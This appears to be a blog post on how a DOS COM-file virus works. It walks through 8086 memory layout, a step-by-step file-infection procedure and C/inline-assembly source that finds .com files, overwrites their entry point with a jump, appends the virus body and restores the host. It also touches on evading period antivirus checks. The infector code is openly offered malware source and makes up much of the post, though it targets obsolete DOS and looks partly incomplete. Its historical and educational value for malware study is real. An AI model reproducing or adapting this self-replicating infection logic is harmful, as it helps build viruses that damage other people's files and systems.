Sitemap
cod

cod

virus (now malware…) since 1993

A simple COM File Virus

6 min readFeb 14, 2025

In this post, we take a leap back to 1993 (as I was talking here).

The code published in this article is available on GitHub

Press enter or click to view image in full size
Warning: Your computer is infected with a virus

The COM format is a very simple binary executable format. Initially introduced on DEC VAX system as file containing commands for the Operating System, the COM extension was later adopted by CP/M as well as DOS.

A COM file is loaded at memory offset 0100h of a segment having 64Kb of memory available.

A crash course of 80x86

The original 80x86 was a 16–bit able to address 1Mb of memory combining two register to get a 20bit physical address. Internally, an address is managed through two different family of registers, the segment registers (CS, DS, ES, SS) and a general purpose register (AX, CX, BX, DX, SI, DI, SP, BP, IP), plus an extra register for FLAGS.

The segment register is shifted to left by 4 bit in the internal 20 bit register and the offset is simply added.

The CS register is used as CODE-SEGMENT and it’s combined with the IP register (Instruction Pointer). They cannot be assigned directly, but only through special instruction (branch instruction) or implicitly when an instruction is executed. All other general purpose registers can be used freely, except when they are used by specific instructions (stack instruction requires SS:SP), memory manipulation (copy, compare, move uses DS:SI as source and ES:DI as destination with CX as counter), arithmetic instructions uses DX:AX, AX is used to store the result of operations and so on.. Every instruction can change the value stored in FLAGS register.

Due to the memory limitations of a COM file, all segment registers are initialized to the same base address, with some limitations. If we combine the code segment, the data segment and the stack segment in a single segment, first of all, there is no way to apply different memory permissions (and there weren’t any at all!), the stack pointer was reserved at address 0xFFFE (64Kb minus 2).

The memory layout was very simple:

0x0000:   Program Segment Prefix
0x0000: 0xCD, 0x20 (INT 20h => Terminate program interrupt)
0x0100: COM .code, .data, .rdata
0xFFFE: top of the stack
0xFFFE: 0x00, 0x00 (when a RET instruction is used, the control will be
transferred to 0x0000 address, which is a call to INT 20H)

A COM application had no relocation information, so internally every function and data element was addressed only by the offset without considering segment registers (which all had the same value).

The syscall functions were available via interrupt (the entry point of an interrupt is stored in the Interrupt Vector Table, located at address 0 in memory, which contains a maximum of 256 entries, each of which is a pair of segment:offset.

A COM file could also to allocate memory dynamically through the syscalls provided by the operating system, but usually, a COM file was a very small file.

Get cod’s stories in your inbox

Join Medium for free to get updates from this writer.

Let’s consider this simple source code:

#include <dos.h> /* DOS.h contains all syscall for DOS */

void write_char(char c)
{
asm {
mov al, c
mov ah, 02h
int 21h
}
}
void print(const char *str)
{
for(; *str != 0; str++)
write_char(*str);
}

int main()
{
print("Hello world!");
return 0;
}

Translated in simplified assembly version we get something like this

.model tiny

.stack

.data
str db 'Hello world!', 00h

.code
assume cs: .code, ds: .code

start:
lea si, str ; load the address of si

print:
mov al, byte ptr [si] ; load in al the byte at [si]
cmp al, 0 ; *ptr == 0?
jz exit
call write_char ; print the current character
inc si ; increase the value of dl register
; (next character)
loop printf ; loop until we print 10 characters

exit:
mov al, 00h
ret ; return

write_char:
mov ah, 02h ; print the character
int 21h
ret ; return to the caller

end start

Now, if we want to add arbitrary code to a COM file, we need the following steps:

  • Enumerate COM files in a directory.
  • Open a COM file.
  • Read the entry point, if it doesn’t contain our “magic” instruction we can proceed to infect the file.
  • Read the first N bytes (usually 3 bytes, required by opcode JMP offset16).
  • Move the file pointer to the end of files.
  • Insert the code of our virus.
  • Store the 3 bytes from the original entry point.
  • Close the file.
  • Move to the next COM file (if any remain).
  • Close the enumerate directory.

If we want to think in C, something like this:

#include <dos.h>

struct entry_jmp
{
char opcode;
unsigned short offset;
}

char entry[3];

void virus()
{
char *zero;
asm {
call @next
@next: pop ax
sub ax, 3
};
zero = _AX; // _AX was an implicit variable mapped to a register offered by Borland compiler

struct find_t fileinfo;
unsigned r = _dos_findfirst("*.com" + zero, _A_NORMAL, &fileinfo);

while(r == 0)
{
int handle = _dos_open(fileinfo.name, _O_RDWR);

if (handle == 0)
{
char magic[3], new_entry[3];
int rb;

_dos_read(handle, &magic, 3, &rb);
if (magic[0] != 0xeb) /* not our magic */
{
struct entry_jmp jmp;
jmp.opcode = 0xeb;
jmp.offset = fileinfo.size; // we should write -3 .. but 3 are the original bytes!
_dos_seek(handle, 0, 0); // set file pointer to begin
_dos_write(handle, &jmp, 3, &rb); // write the new entry point
_dos_seek(handle, 0, 2); // set file pointer to end
_dos_write(handle, &magic, 3, &rb);
_dos_write(handle, &virus, 256, &rb); // we should known how long is our virus!
}
_dos_close(handle);
}
_dos_findnext(&fileinfo);
}

char *entrypoint = 0x100;
memcpy(entrypoint, &entry, 3);
(void (*call_entry)()) = (void (*)())entrypoint;
call_entry();
return;
}

But what’s the real problem here? The compiler generates a standard application, and on Intel 16-bit and 32-bit architectures, the instructions are not relative (except for branch instructions like conditional/unconditional jump and relative call).

So, in this case, the output generated by the compiler assumes that everything is loaded at a specific address in memory (without considering the segment). In this specific case, we should avoid any global variables, as the pointer to the virus would not be correct, like a “magic” variable.
If we are working in C, this can be achieved easily.

We need to retrieve the address of our function using two simple assembly instructions: “CALL 0” and “POP AX.”

CALL 0 means calling a function located 0 bytes from the current instruction pointer (i.e., the next instruction). This instruction pushes the return address onto the stack, which corresponds to the address of the next instruction. The POP instruction then pops the address from the stack into the AX register.

Now, it’s enough to subtract 3 (the length of the CALL instruction), and this gives us our base address, which can be converted to a pointer to a custom struct.

Obviously, if we are working in Assembly, things can be a bit complicated because we need to keep this variable on the stack, as well as adjust strings, function pointers, and other elements.

Usually, a COM application doesn’t start with a jump to the end of the file, so for antivirus software at the time, it was enough to find an infected COM file by simply checking the first 3 bytes of the file. It was also possible to restore the original file if the virus was known, based on where the original bytes were stored.

How could one bypass detection at the time? By playing with the entry point, modifying instructions, and keeping the virus in memory — things were simple enough to have little fun (no cloud computing, no daily updates, no real time detection!)

Until code signing became common, it was possible to infect EXE files (MZ, NE, PE, PE+ specific for Microsoft DOS/Windows).

Similar to shellcode, C was also sufficient for writing computer viruses.

--

--

cod
cod

Written by cod

virus (now malware…) since 1993